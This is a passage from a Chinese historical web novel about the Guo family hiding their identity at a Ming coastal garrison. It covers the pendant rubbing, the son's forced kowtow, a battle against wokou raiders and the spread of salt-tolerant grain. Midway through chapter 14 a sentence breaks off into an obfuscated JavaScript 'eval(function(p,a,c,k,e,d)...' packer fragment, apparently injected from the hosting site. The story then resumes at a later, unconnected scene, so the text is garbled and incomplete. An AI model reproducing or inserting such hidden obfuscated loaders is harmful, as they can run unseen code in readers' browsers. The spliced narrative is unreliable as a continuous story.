而此刻的京城,郭铭站在锦衣卫指挥佥事的官署中,看着东海卫传来的战报,脸上露出了欣慰的笑容。他知道,郭斌在卫城已经站稳了脚跟,正在按照他的计划,积累实力,等待时机。他相信,假以时日,郭斌和郭玘一定能扛起家族的重任,实现家族的复兴。 永乐六年的春风,吹拂着海州城的每一个角落,也吹起了郭斌父子心中的希望。他们的军吏生涯,还在继续,而属于郭家的故事,也在这乱世之中,缓缓铺陈开来。 14. 第二卷 海州藏璧 第14章 拓本秘传 永乐七年夏,海州城的暑气愈发浓重,青石板路被烈日炙烤得发烫,连海风都带着燥热的气息。郭斌身着从九品副吏目的青色官服,行走在卫城的街道上,神色依旧沉稳内敛。升任副吏目已有一年,他在左千户所的地位愈发稳固——周大人对他信任有加,将卫所的大半文书事务交由他打理;其他军吏对他敬重三分,连往日嚣张的王彪也收敛了气焰,不敢再随意刁难。 但郭斌心中的警惕从未松懈。永乐帝对淮西勋贵的打压虽稍有缓和,却并未完全停止,锦衣卫的眼线依旧遍布各地。他深知,自己如今的安稳,不过是建立在“隐姓埋名”的基础上,一旦身份暴露,所有的一切都将化为乌有。 回到租住的民房,院中的石榴树长得枝繁叶茂,鲜红的花朵在绿叶的映衬下格外醒目。郭玘正坐在院中石桌旁,研读一本《武经总要》,十六岁的少年身形挺拔,面容俊朗,眉宇间既有武将后代的刚毅,又有饱读诗书的沉稳。见父亲回来,他连忙起身:“爹,你回来了。” “今日公务不忙?”郭斌脱下官服,递给一旁的郭福,语气温和。 “周大人让我整理近年的海防卷宗,已经处理完了。”郭玘答道,目光落在父亲手中的一个布包上,“爹,你这布包里装的是什么?” 郭斌微微一笑,将布包放在石桌上:“是给你的东西。”他打开布包,取出两块玉佩——正是那半块“勇”字玉佩和郭铭归还的“忠”字玉佩,还有一方砚台、一支毛笔和几张上好的生宣。 郭玘眼中闪过一丝好奇:“爹,你这是要做什么?” “把玉佩的纹路拓下来。”郭斌沉声道,“这两块玉佩是我们郭家的传家宝,承载着家族的‘忠勇’家训,也记录着我们的身份。如今我们隐姓埋名,玉佩不能轻易示人,但若有一天,我们需要证明自己的身份,这拓本便能派上用场。” 郭福闻言,心中一惊:“先生,这样会不会太冒险了?拓本若是落入他人之手,岂不是暴露了我们的身份?” “我自有分寸。”郭斌摇摇头,“这拓本我会妥善保管,绝不会轻易示人。但我们必须未雨绸缪,万一将来遇到紧急情况,或是需要为家族洗刷冤屈,这拓本便是最有力的凭证。” 他将“忠”字玉佩和“勇”字玉佩并排放在生宣上,小心翼翼地用毛笔蘸取少量墨汁,轻轻涂抹在玉佩表面。墨汁顺着玉佩的纹路流淌,将“忠”“勇”二字和背面的“郭”字古体字暗纹清晰地显现出来。郭斌又取来一张生宣,覆盖在玉佩上,用干净的毛笔轻轻按压,确保每一处纹路都能清晰地拓印在纸上。 郭玘屏息凝神地看着父亲的动作,眼中满是郑重。他知道,这两块玉佩对家族的意义非凡,而这拓本,更是承载着家族的希望与未来。 片刻后,郭斌轻轻揭开宣纸,两张清晰的玉佩拓本便呈现在眼前。“忠”“勇”二字苍劲有力,背面的“郭”字古体字暗纹虽细微,却也清晰可辨。郭斌将拓本放在石桌上晾干,又取来一块干净的布料,小心翼翼地擦拭着玉佩,然后将它们贴身藏好。 待拓本晾干,郭斌拿起毛笔,在拓本的空白处缓缓写下一行字:“父郭兴,汝字景扬,郭斌也。”字迹工整清秀,却透着一股坚定的力量。 “玘儿,你过来。”郭斌招手道。 郭玘走到父亲身边,看着拓本上的文字,心中一震:“爹,你这是……” “这是我们的身份,是我们家族的根。”郭斌的声音带着一丝沉重,“你祖父郭兴,是大明的开国功臣,巩昌侯;我原名郭景扬,是他的次子;你是郭家的嫡孙,肩负着家族的未来。我将这些写在拓本上,是希望你永远记住自己的身份,记住家族的冤屈,记住‘忠勇’二字的分量。” 他将拓本递给郭玘,语气郑重:“这拓本,你要妥善保管,藏在隐秘之处,绝不能让任何人看到。等你能保全家族,能在这乱世中站稳脚跟,能有足够的力量为家族洗刷冤屈时,再把这拓本给世人看,让所有人都知道,我们郭家是忠良之后,不是什么罪臣余孽!” 郭玘双手接过拓本,只觉得手中的纸张重逾千斤。他看着拓本上的“忠勇”二字和父亲写下的文字,眼中闪过一丝坚定的光芒:“爹,我记住了。我一定会努力变强,早日能保全家族,为家族洗刷冤屈,让这拓本重见天日!” “好。”郭斌心中一暖,拍了拍儿子的肩膀,“但你也要记住,变强不是为了复仇,是为了保护自己和族人,是为了坚守家族的‘忠勇’家训,是为了让郭家的香火得以延续。在没有足够强大之前,切不可轻易暴露身份,更不可意气用事。” 郭玘重重点头,将拓本小心翼翼地折叠好,放入一个木盒中,然后藏进了床底的暗格——这是他和父亲约定的隐秘之处,专门用来存放重要的东西。 接下来的日子,郭斌依旧在左千户所勤勤恳恳地工作。他利用处理文书的便利,暗中收集东海卫的海防信息、军户分布、倭寇侵扰规律等,同时也留意着京城和武定侯府的消息。郭铭偶尔会通过秘密渠道传来消息,告知武定侯府一切安好,郭镇大人在辽东战功赫赫,永乐帝对其的猜忌进一步减轻,让郭斌心中稍稍安心。 郭玘则一边在私塾读书,一边跟着父亲练习武艺,同时也开始协助父亲处理一些简单的文书工作。他聪慧过人,学习能力极强,很快便熟悉了卫所的文书流程,有时还能为父亲出谋划策,深得周大人的喜爱。 这一日,郭玘处理完公务,与几名卫所军户的子弟相约在卫城郊外的演武场切磋武艺。一同前往的,还有左千户周大人的儿子周浩,以及卫所左千户张大人的侄子张昊。周浩与郭玘年龄相仿,为人正直,与郭玘关系甚好;张昊则仗着自己是卫所张大人的侄子,平日里嚣张跋扈,目中无人,在卫城的官宦子弟中名声不佳。 演武场上,郭玘与周浩正在切磋剑法,两人你来我往,招式精妙,引得周围的人阵阵喝彩。张昊站在一旁,看着郭玘精湛的武艺,心中满是嫉妒——他自视甚高,却屡次在郭玘手中吃亏,心中早已对郭玘怀恨在心。 “郭玘,你的剑法确实不错,但也不过如此。”张昊突然开口,语气带着挑衅,“听说你是从东海岛来的军户子弟,没什么背景,能有今天的成就,不过是运气好,得到了周大人的赏识罢了。” 郭玘眉头一皱,停下手中的剑:“张兄此言差矣。武艺高低,与背景无关;能否得到赏识,全凭自身的努力和能力。” “努力和能力?”张昊冷笑一声,走上前,故意撞了郭玘一下,“一个偏远海岛来的泥腿子,也敢在我面前谈能力?我告诉你,在这海州城,背景才是最重要的!像你这样没背景的人,就算再有能力,也永远只能是个小小的军户子弟!” 周浩见状,连忙上前劝解:“张兄,郭玘是我的朋友,你何必出言不逊?” “周浩,这里没你的事,少管闲事!”张昊瞪了周浩一眼,又看向郭玘,“怎么?被我说中了心事,不敢说话了?我劝你还是识相点,以后在卫城少出风头,否则,有你好受的!” 郭玘的脸色渐渐沉了下来,手中的剑握得越来越紧。他自幼在父亲的教导下习武,性格刚毅,怎能容忍他人如此侮辱?更何况,张昊侮辱的不仅是他,还有他的家族。 “张昊,你别太过分了!”郭玘的声音带着一丝怒火,“我敬重你是卫所张大人的侄子,对你一再忍让,你却得寸进尺!今日之事,你必须向我道歉!” “道歉?”张昊哈哈大笑,“一个泥腿子也敢让我道歉?我看你是活腻了!”他说着,突然拔出腰间的佩刀,朝着郭玘砍来。 郭玘早有防备,侧身避开,手中的剑顺势出鞘,挡住了张昊的佩刀。“铛”的一声,火花四溅。两人你来我往,在演武场上展开了激烈的打斗。张昊的武艺虽不及郭玘精湛,却也颇有章法,一时间,演武场上刀光剑影,气氛紧张到了极点。 周浩和其他军户子弟见状,都吓得不知所措,想要上前劝解,却又不敢靠近。 就在这时,郭斌恰好路过演武场。他今日奉命前往卫城郊外的屯田区核查收成,路过演武场时,远远便看到了场中的打斗,认出其中一人正是郭玘。他心中一紧,连忙快步走了过去。 “玘儿,住手!”郭斌大喝一声,声音威严。 郭玘听到父亲的声音,心中一凛,连忙收剑后退。张昊也趁机停下了手,气喘吁吁地看着郭斌,脸上满是不屑:“郭副吏目,你来的正好!你的好儿子竟敢对我动手,你说该怎么办?” 郭斌走到郭玘身边,神色严肃地问道:“玘儿,这是怎么回事?” 郭玘低着头,将事情的经过一五一十地告诉了父亲。 郭斌听完,心中一怒。张昊的嚣张跋扈他早有耳闻,却没想到他竟敢如此侮辱郭玘,甚至动手伤人。但他知道,张昊是卫所张大人的侄子,身份特殊,不能轻易得罪。他深吸一口气,压下心中的怒火,对着张昊躬身道:“张公子,犬子年幼无知,冲撞了您,还望您大人有大量,不要计较。我在这里向您赔罪了。” 张昊见郭斌躬身赔罪,心中愈发得意,下巴微微扬起:“郭副吏目,看在你的面子上,我今日便不与你儿子计较。但我有一个条件——让你儿子给我磕三个响头,此事便一笔勾销。” “张公子,这未免太过过分了!”周浩忍不住开口道,“此事本就是你先出言不逊,动手伤人,郭玘只是自卫而已!” “周浩,这里轮不到你说话!”张昊瞪了周浩一眼,又看向郭斌,“郭副吏目,你倒是说话啊?到底答不答应?若是不答应,我便去找卫所张叔叔,让他评评理!” 郭玘的脸色涨得通红,握着剑的手微微颤抖,眼中满是屈辱与愤怒:“爹,我不能给他磕头!此事本就不是我的错!” 郭斌看着儿子眼中的屈辱,心中一阵刺痛。他知道,让儿子给张昊磕头,无疑是对儿子的极大侮辱。但他更清楚,张昊是卫所张大人的侄子,若是把事情闹大,对他们没有任何好处。他们在卫城立足未稳,一旦得罪卫张大人,不仅他的副吏目之职难保,甚至可能暴露身份,连累族人。 “玘儿,不得无礼!”郭斌沉声道,语气带着一丝不容置疑的威严,“张公子是卫所张大人的侄子,身份尊贵,你冲撞了他,本就该赔罪。磕三个头,此事便算了结,不可再纠缠。” “爹!”郭玘不敢置信地看着父亲,眼中满是不解与委屈。他不明白,一向教导他要有骨气、要坚守“忠勇”家训的父亲,为何会让他向一个如此嚣张跋扈的人磕头赔罪。 “听话!”郭斌的声音缓和了一些,却依旧带着坚定,“这不是懦弱,是隐忍。我们身在卫城,身不由己。一时的屈辱,换取的是长久的安稳。你忘了我教你的《孙子兵法》了吗?‘小不忍则乱大谋’,为了家族的安危,这点屈辱又算得了什么?” 郭玘看着父亲眼中的深意,渐渐明白了父亲的苦心。他知道,父亲不是懦弱,而是为了保护他,保护家族。他深吸一口气,压下心中的屈辱与愤怒,走到张昊面前,缓缓跪下。 “玘儿!”周浩惊呼一声,想要上前阻止,却被郭斌拦住了。 郭斌看着儿子跪下的身影,心中如同刀割一般。但他知道,这是目前唯一能解决问题的办法。他转过身,不再去看儿子,眼中却闪过一丝坚定的光芒——今日之辱,他记下了。总有一天,他会让张昊为今日的所作所为付出代价。 张昊看着郭玘跪下,脸上露出了得意的笑容:“这才对嘛!早知今日,何必当初呢?快磕头吧!” 郭玘咬紧牙关,重重地磕了三个响头。每一个头,都像是磕在郭斌的心上。 “好了,起来吧。”张昊满意地点点头,拍了拍郭玘的肩膀,“以后在卫城,记得安分守己,别再惹我不高兴了。”说完,他转身扬长而去。 张昊走后,周浩连忙扶起郭玘,看着他红肿的额头,心中满是愧疚:“郭玘,对不起,都是我不好,没能拦住张昊。” 郭玘摇摇头,没有说话,只是默默地擦拭着额头的灰尘,眼神中却多了几分与年龄不符的沧桑。 郭斌走到儿子身边,轻轻拍了拍他的肩膀:“玘儿,委屈你了。” 郭玘抬起头,看着父亲眼中的愧疚与心疼,心中的委屈瞬间消散了大半:“爹,我不委屈。我明白你的意思,‘小不忍则乱大谋’,为了家族的安危,这点屈辱不算什么。” 郭斌心中一暖,欣慰地点点头:“你能明白就好。记住今日之辱,不是为了让你复仇,是为了让你更加努力地变强。只有你足够强大,才能保护自己和族人,才能不再受这样的屈辱。” 回到家中,郭斌让郭福取来药膏,亲自为郭玘涂抹额头的红肿。“玘儿,今日之事,爹知道你心里不好受。但你要记住,在这乱世中,生存才是第一位的。我们身负家族冤屈,隐姓埋名,每一步都如履薄冰。与张昊这样的人发生冲突,对我们没有任何好处。” 郭玘点点头:“爹,我知道。我不会因为今日之事而意气用事,我会把这份屈辱化为动力,更加努力地练武、读书,尽快变强。” “好。”郭斌道,“但你也要记住,‘勇’不是匹夫之勇,‘忠’不是愚忠。真正的‘忠勇’,是懂得在逆境中隐忍,在绝境中坚守,在合适的时机挺身而出。就像你祖父郭兴,他不仅战功赫赫,更懂得审时度势,才能在洪武爷的猜忌下得以善终。” 他取出那两张玉佩拓本,放在郭玘面前:“你看这‘忠勇’二字,‘忠’是守住本心,忠于家国;‘勇’是敢于担当,善于谋略。今日的隐忍,不是懦弱,而是‘勇’的体现。只有懂得隐忍,才能积蓄力量,等待合适的时机,一举实现我们的目标。” 郭玘认真地看着拓本上的“忠勇”二字,心中渐渐明白了父亲的深意。他拿起拓本,小心翼翼地放回木盒中,藏进暗格:“爹,我记住了。我会牢记‘忠勇’家训,懂得隐忍,善于谋略,早日为家族洗刷冤屈,让我们郭家光明正大地站在阳光下。” 接下来的日子,郭玘变得更加沉稳内敛。他不再像以前那样轻易显露自己的武艺,而是将更多的时间和精力用在读书和钻研兵法上。他知道,只有掌握足够的知识和谋略,才能在未来的乱世中立足,才能保护自己和族人。 郭斌则继续在左千户所勤勤恳恳地工作。他利用自己的职位便利,进一步扩大自己的人脉,与卫所的各级官员搞好关系。同时,他也在暗中培 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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郭玘也主动请缨,要求加入袭击倭寇战船的小分队。郭斌犹豫了一下,最终还是答应了——他知道,这是一个让郭玘历练的好机会,也是让他证明自己的机会。 战斗打响后,一切正如郭斌所料。周大人率领的主力部队成功吸引了倭寇的注意力,倭寇将大部分兵力都投入到正面战场。郭玘所在的小分队趁机绕到倭寇后方,袭击了他们的战船。郭玘武艺精湛,作战勇猛,亲手斩杀了数名倭寇,还烧毁了两艘倭寇战船的粮草。 海上的巡逻船也及时赶到,封锁了海面。倭寇腹背受敌,补给线被切断,渐渐陷入绝境。最终,明军大获全胜,歼灭倭寇三百余人,俘虏五十余人,成功收复了港口。 此战大获全胜,左千户使对周大人大加赞赏,周大人则再次归功于郭斌的妙计。卫所张大人对郭斌更加赏识,当即下令,提拔郭斌为正九品吏目,负责左千户所的文书事务。 郭玘也因战功受到了表彰,左千户亲自赏赐了他一把宝剑,鼓励他继续为国效力。 回到家中,郭斌看着儿子身上的血迹和脸上的笑容,心中满是欣慰。他知道,儿子已经真正长大了,不仅武艺高强,更有勇有谋,能够在战场上独当一面了。 “玘儿,你今日表现得很好。”郭斌道,“但你要记住,战场之上,生死无常,凡事要以安全为重。不可一味逞强,要懂得保护自己。” 郭玘点点头:“爹,我记住了。今日能立下战功,全靠你教我的兵法和武艺。” 他从怀中取出那把赏赐的宝剑,递给父亲:“爹,这把宝剑,我想送给你。” 郭斌摇摇头,将宝剑还给儿子:“这是你应得的赏赐,你自己留着吧。希望这把宝剑,能时刻提醒你,要坚守‘忠勇’家训,保护自己和族人,为国效力。” 郭玘重重点头,握紧了手中的宝剑。他知道,这把宝剑不仅是荣誉的象征,更是责任的象征。他会带着这把宝剑,带着家族的希望,在未来的道路上,勇敢前行。 当晚,郭斌再次取出那两张玉佩拓本,与郭玘一同欣赏。拓本上的“忠勇”二字在灯光的映照下,显得格外清晰。 “玘儿,你看这‘忠勇’二字,今日你在战场上的表现,便是‘勇’的体现;你心中牢记家族的冤屈,坚守本心,便是‘忠’的体现。”郭斌道,“只要我们坚守‘忠勇’家训,不断努力,总有一天,我们会为家族洗刷冤屈,让这拓本重见天日,让郭家的荣光重现。” 郭玘重重点头,眼中闪烁着坚定的光芒:“爹,我相信这一天不会太远。我会继续努力,早日实现我们的目标。” 郭斌看着儿子坚定的眼神,心中充满了希望。他知道,自己多年的隐忍与付出,都是值得的。郭玘已经成长为一名文武双全、心智成熟的少年,他有能力扛起家族的重任,有能力实现家族的复兴。 夜色渐深,海州城的灯火渐渐稀疏。郭斌站在院中,望着天上的明月,心中感慨万千。他想起了淮西的祖宅,想起了东海岛的海风,想起了郭铭的嘱托,想起了家族的冤屈。他知道,自己身上的责任重大,但他不再迷茫,不再畏惧。因为他有儿子的陪伴,有“忠勇”家训的指引,有拓本的见证,更有一颗坚韧不拔的心。 在东海卫的日子,还在继续。郭斌的官职也得到升迁,人脉越来越广;郭玘的武艺和学识越来越精进,名声也越来越响。但他们始终保持着谦逊谨慎的态度,从未忘记自己的身份,从未忘记家族的冤屈。 他们知道,这只是他们漫长蛰伏之路的一部分。但他们相信,只要坚守“忠勇”家训,懂得隐忍与谋略,不断积累力量,就一定能等到家族重见天日的那一天。而那两张玉佩拓本,将始终陪伴着他们,见证着他们的成长与坚守,指引着他们走向未来的光明。 永乐八年春,郭斌收到了郭铭通过秘密渠道传来的消息:武定侯府的处境越来越好,郭镇大人在辽东屡立奇功,被永乐帝召回京城,升任中军都督府佥事;朝廷近期将大规模整顿沿海卫所,提拔一批有才干的官员,郭铭已暗中为郭斌打点,推荐他担任东海卫左千户所的副千户。 郭斌看着手中的密信,心中满是激动。他知道,这是一个绝佳的机会。担任副千户,意味着他将拥有一定的兵权,能够更好地保护族人,也能为家族洗刷冤屈积累更多的力量。 他将密信的内容告诉了郭玘,郭玘眼中也满是激动:“爹,这真是太好了!我们离目标越来越近了!” “是啊。”郭斌点点头,眼中闪烁着坚定的光芒,“但我们不能掉以轻心。担任副千户后,我们的权力更大了,责任也更重了,暴露身份的风险也更高了。我们必须更加谨慎,凡事三思而后行。” 他取出那两张玉佩拓本,放在郭玘面前:“玘儿,记住,无论我们的职位有多高,权力有多大,都不能忘记自己的身份,不能忘记家族的冤屈,不能忘记‘忠勇’二字的分量。这拓本,是我们的根,是我们的魂,只有在最合适的时机,才能让它重见天日。” 郭玘重重点头,握紧了手中的拓本:“爹,我记住了。我会永远牢记自己的身份,坚守‘忠勇’家训,与你一起,为家族洗刷冤屈,让郭家的荣光重现于世。” 父子二人相视一笑,眼中充满了对未来的希望。他们知道,新的挑战即将到来,但他们已经做好了准备。在海州城的这段日子,不仅让他们积累了人脉和实力,更磨练了他们的心智。他们有信心,有能力,在未来的道路上,勇敢前行,实现家族的复兴。 15. 第二卷 海州藏璧 第15章 郭铭暗助 永乐八年夏,海州城的暑气裹挟着盐场的咸腥,弥漫在街巷与田垄之间。郭斌身着正九品吏目的青色官服,正站在卫城东侧的屯田区,眉头紧锁地望着眼前的土地。自升任吏目以来,他除了处理左千户所的文书事务,还主动请缨负责屯田区的粮食生产——海州地处沿海,多为盐碱地,粮食产量一直不高,军户与百姓时常面临温饱难题,这既是卫所的民生大事,也是他暗中积累民心的契机。 “爹,这盐碱地实在太难种了,播下去的种子要么不发芽,要么长到一半就枯萎了。”十六岁的郭玘跟在父亲身后,脚下的泥土泛着一层白霜,踩上去松软却贫瘠。他穿着粗布短衫,裤脚沾满泥土,这些日子一直在屯田区协助父亲打理庄稼,深刻体会到耕种的艰难。 郭斌蹲下身,抓起一把泥土,放在鼻尖嗅了嗅,又用手指捻了捻。泥土中盐分过重,颗粒粗糙,缺乏肥力,难怪粮食难以生长。“海州城外的盐碱地,是老难题了。洪武年间就有军户尝试改良,但效果甚微。”他站起身,目光望向远方的海岸线,“海水倒灌,土地返盐,若不能找到耐碱的粮种,就算再辛勤劳作,也难有收成。” 旁边的几名军户闻言,纷纷叹了口气。一位白发苍苍的老军户道:“郭吏目,我们祖祖辈辈都在这盐碱地种庄稼,试过无数办法,都没能改善。每年收的粮食,勉强够上缴卫所,自家都得省吃俭用,遇上灾年,更是要饿肚子。” “是啊,郭吏目。”另一名军户附和道,“去年冬天就闹过粮荒,好多军户都只能挖野菜、剥树皮充饥,还有人偷偷跑到海边捕鱼,却被海浪卷走了。” 郭斌心中一沉。他深知粮食对军户和百姓的重要性,尤其是在这乱世之中,温饱是生存的根本。若能解决盐碱地种粮的难题,不仅能让族人与乡邻过上安稳日子,还能进一步巩固他在卫城的声望,为日后的行动奠定基础。但他试过多种粮种,无论是小麦、粟米还是高粱,都难以在盐碱地存活,这让他一筹莫展。 回到家中,郭斌将自己关在书房,翻阅着从卫所借来的农书,希望能找到改良盐碱地或耐碱粮种的记载。郭玘端着一碗粗茶走进来,见父亲神色凝重,轻声道:“爹,要不我们向卫人上书,请求朝廷调拨耐碱粮种?” 郭斌摇摇头,合上农书:“朝廷远在京城,且近年北征蒙古、南修运河,耗费巨大,哪里会顾及海州城这点粮食难题?就算上书,也多半石沉大海。更何况,我们身份特殊,不宜过于张扬,以免引起他人注意。” 他顿了顿,继续道:“武定侯府那边,虽处境稍有好转,但郭铭兄身在京城,自身难保,也无法为我们提供太多帮助。这件事,终究还是要靠我们自己。” 郭玘点点头,不再说话。他知道父亲说得对,在这乱世之中,求人不如求己。 接下来的几日,郭斌一边处理公务,一边四处打探耐碱粮种的消息。他走访了卫城的老农户、退休的老军户,甚至乘船前往附近的渔村、盐场,询问是否有特殊的粮种能在盐碱地生长,但都一无所获。海州城的百姓与军户,似乎早已接受了盐碱地低产的现实,只能在贫瘠的土地上艰难求生。 就在郭斌一筹莫展之际,李诚的亲信突然通过秘密渠道传来消息,说有一批“辽东特产”的货物送到了海州城的“关庙巷客栈”,让他尽快派人去取。郭斌心中一动,知道这定是郭铭通过李诚送来的东西——李诚自永乐五年被调往辽东戍边后,便一直通过这种方式与他们保持着隐秘联系。 当晚,郭斌让郭玘带着两名心腹族人,乔装成普通百姓,前往关庙巷客栈取货。客栈掌柜是郭铭安排的人,见郭玘等人前来,并未多问,直接将他们引到后院的库房,交给他们两个沉甸甸的麻袋和一封密封的密信。 郭玘等人将麻袋装上马车,趁着夜色,悄悄返回了家中。 回到家中,郭斌迫不及待地打开麻袋,只见里面装着两种东西:一种是颗粒饱满、颜色偏黄的谷种,另一种是用油纸包裹着的药材,散发着淡淡的药香。他又打开密信,上面是郭铭熟悉的字迹,笔墨仓促却力道十足: “景扬弟亲启:近日闻海州多盐碱地,军户百姓生计艰难,特托李诚兄送来耐碱谷种百斤,此谷乃辽东边境特有,耐旱耐碱,适应性极强,可在盐碱地种植;另附常用药材五十斤,以备不时之需。 武定侯府近况尚可,镇兄回京升任中军都督府佥事,陛下虽表面嘉奖,实则仍多有防范,近日又借‘整顿勋贵府第’之名,派人清查府中资产,敲打之意昭然若揭。父亲在世时留下的旧部,多被调往边地,京中势力日渐薄弱。 为避猜忌,我不便与你过多联络,此谷种与药材,是我能为你做的微薄之力。海州临海,多盐碱地,可种耐碱谷,若能成功,不仅能解民生之困,也能为你积累民心。切记,行事低调,不可暴露与武定侯府的关联,凡事以保全自身与族人为重。 郭铭谨上” 郭斌看完密信,心中百感交集。郭铭身在京城,身处权力漩涡的中心,自身难保,却依旧惦记着他们在海州的生计,费心费力地送来耐碱谷种和药材,这份情谊,让他无比动容。同时,他也为武定侯府的处境担忧——朱棣的猜忌之心从未真正消除,即便郭镇屡立战功,武定侯府依旧面临着被打压、被防范的命运。 “爹,这就是耐碱谷种吗?”郭玘好奇地拿起一把谷种,放在手中仔细端详。 “是的。”郭斌点点头,眼中重新燃起了希望,“这是郭铭叔特意从辽东送来的,据说能在盐碱地生长。有了它,我们或许能解决海州城的粮食难题。” 郭福也凑上前来,看着谷种,脸上露出了欣慰的笑容:“先生,这可真是雪中送炭啊!有了这些谷种,族人和乡邻们就不用再饿肚子了。” “但我们不能掉以轻心。”郭斌沉声道,“这谷种是郭铭叔冒险送来的,我们必须确保种植成功。而且,此事绝不能让他人知道谷种的来历,就说是我托辽东的商友买来的。” 他顿了顿,继续道:“郭福伯,你明天带着几名族人,先选一小块盐碱地,试种这些谷种,仔细观察它的生长情况,记录下浇水、施肥的时间和方法。玘儿,你负责协助郭福伯,同时留意卫所和乡邻的反应,不可引起他人怀疑。” “是,先生/爹!”郭福和郭玘齐声应道。 次日清晨,郭福便带着几名族人,在屯田区选了一块最为贫瘠的盐碱地,开始试种耐碱谷。他们先将土地深耕,去除表层的盐碱土,然后按照郭斌的吩咐,适量浇水,将谷种均匀地播撒在地里。郭玘则在一旁帮忙,同时留意着周围的动静,确保没有人注意到他们种植的是特殊谷种。 接下来的几日,郭斌每日都会抽出时间,前往屯田区查看谷种的生长情况。令人惊喜的是,这耐碱谷的生命力极强,播下不到三日,便冒出了嫩绿的芽尖;一周后,禾苗长势喜人,叶片翠绿,丝毫没有受到盐碱地的影响。 “爹,这耐碱谷果然名不虚传!”郭玘看着长势良好的禾苗,脸上满是喜悦,“你看,比普通的粟米长得还要好!” 郭斌心中也十分欣慰。他知道,这耐碱谷种,不仅是解决海州粮食难题的希望,也是他们积累民心、巩固地位的契机。他对郭福道:“郭福伯,看来这谷种确实适合在盐碱地种植。接下来,我们可以扩大种植面积,同时将种植方法教给周围的军户和乡邻,让大家都能受益。” “先生,这样会不会太张扬了?”郭福担忧地问道,“若是有人追问谷种的来历,我们该如何回答?” “放心,我自有办法。”郭斌道,“我会对外宣称,这谷种是我托一位常年往来辽东与海州的商友买来的,价格不菲。我们可以将谷种分给乡邻,但要求他们秋收后,用一部分粮食作为回报,这样既不会引起怀疑,也能让谷种得到更广泛的种植。” 郭福点点头:“先生考虑得周全。” 很快,郭斌拥有耐碱谷种的消息,便在屯田区的军户和乡邻中传开了。起初,大家还有些怀疑,毕竟他们尝试过无数种粮种,都没能在盐碱地成功生长。但当他们看到郭斌试种的耐碱谷长势喜人后,纷纷前来请求郭斌分给他们一些谷种。 郭斌按照事先想好的办法,将谷种分给了周围的军户和乡邻,同时详细地教他们种植方法:“这谷种耐旱耐碱,但也需要注意深耕土地,去除表层盐碱土;浇水不宜过多,以免引起土地返盐;施肥以农家肥为主,增强土地肥力。” 他还特意强调:“这些谷种来之不易,价格昂贵。我不求大家回报什么,只希望秋收后,大家能将收获的一部分粮食捐赠给卫所,用于救济贫困军户和百姓。” 军户和乡邻们闻言,纷纷感激涕零。一位老军户激动地说:“郭吏目,您真是我们的再生父母!只要能种出粮食,别说捐赠一部分,就算是一半,我们也愿意!” “是啊,郭吏目。”另一位乡邻道,“这些年,我们受够了饿肚子的滋味,若不是您,我们还不知道要苦熬多久。” 郭斌看着大家期盼的眼神,心中感慨万千。他知道,民心是乱世中最宝贵的财富。通过推广耐碱谷种,不仅能解决大家的温饱问题,还能让他们在海州城积累更多的人脉和声望,为日后的行动奠定坚实的基础。 耐碱谷种的推广,在海州城的屯田区掀起了一阵种植热潮。军户和乡邻们按照郭斌教授的方法,在盐碱地中开垦、播种、浇水、施肥,每日辛勤劳作,期盼着秋收的丰收。郭斌也时常前往田间地头,指导大家种植,解答大家的疑问,同时留意着耐碱谷的生长情况。 郭玘更是忙得不可开交,他不仅要协助父亲处理公务、练习武艺,还要每天巡查屯田区,帮助乡邻解决种植过程中遇到的问题。他性格沉稳,做事认真,加上武艺高强、学识渊博,很快便赢得了军户和乡邻们的喜爱与敬重,大家都亲切地称他为“小郭公子”。 然而,事情并非一帆风顺。就在耐碱谷长势正旺的时候,卫城的一些豪强劣绅开始眼红。他们见郭斌推广的耐碱谷种能在盐碱地生长,且长势喜人,便想趁机霸占谷种和种植技术,甚至有人暗中使坏,破坏屯田区的庄稼。 这一日,郭玘在巡查屯田区时,发现几块地里的耐碱谷禾苗被人恶 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“玘儿,此事不可鲁莽。”郭斌沉声道,“张大户与卫所的一些官员有勾结,我们若贸然与他发生冲突,不仅讨不到好处,还可能被他反咬一口,甚至暴露我们的身份。” “可我们也不能就这样忍气吞声啊!”郭玘道,“那些禾苗是乡邻们的希望,就这样被破坏了,大家肯定会很失望。” “我明白。”郭斌道,“但我们要学会用智慧解决问题。张大户想要谷种和种植技术,无非是为了利益。我们可以给他一个台阶下,同时也让他付出代价。” 他沉思片刻,心中有了计策:“你去告诉张大户,就说我愿意将谷种和种植技术分享给他,但他必须赔偿被破坏禾苗的损失,并且承诺不再欺压军户和乡邻。另外,秋收后,他需将收获的三成粮食捐赠给卫所,用于救济贫困百姓。” 郭玘有些不解:“爹,我们为什么要答应他的要求?他这样的人,根本不值得我们信任。” “我们不是信任他,是为了大局。”郭斌道,“若我们不答应他,他肯定还会继续破坏庄稼,甚至联合卫所的官员打压我们。答应他的要求,既能平息此事,又能让他为卫所和百姓做些贡献,同时也能让耐碱谷种得到更广泛的种植。至于他是否会遵守承诺,我们日后再做计较。” 郭玘点点头,明白了父亲的深意。他按照父亲的吩咐,找到了张大户,将郭斌的条件告知了他。 张大户本以为郭斌会与他硬碰硬,没想到郭斌竟然如此“识趣”。他心中得意,便答应了郭斌的条件,赔偿了被破坏禾苗的损失,并且承诺不再欺压军户和乡邻。 此事平息后,屯田区的种植恢复了平静。耐碱谷继续茁壮成长,军户和乡邻们的心中重新燃起了希望。 与此同时,京城传来消息:朱棣对武定侯府的防范与敲打愈发频繁。郭镇虽升任中军都督府佥事,却被剥夺了部分兵权,只能负责一些后勤事务;武定侯府的田产再次被清查,虽然没有查出任何问题,却也让郭氏家族人心惶惶;郭铭在锦衣卫的职位虽未变动,但一举一动都受到朱棣的暗中监视,处境愈发艰难。 郭斌收到郭铭通过秘密渠道传来的消息后,心中十分担忧。他知道,武定侯府的处境,直接关系到他们这些隐姓埋名者的安全。一旦武定侯府失势,他们在海州的安全便失去了最大的保障。 “爹,郭铭叔他们会不会有危险?”郭玘问道,眼中满是担忧。 “不好说。”郭斌沉声道,“朱棣生性多疑,对洪武旧勋的打压从未停止。武定侯府能支撑到现在,全靠郭镇叔的战功和郭铭叔的谨慎。但我们也不能过于依赖他们,必须尽快强大起来,形成自己的势力,才能在乱世中立足。” 他顿了顿,继续道:“推广耐碱谷种,是我们积累民心和势力的第一步。只要我们能让海州的军户和百姓过上安稳日子,他们就会支持我们、保护我们。就算将来武定侯府出现变故,我们也能凭借自己的力量,在海州站稳脚跟。” 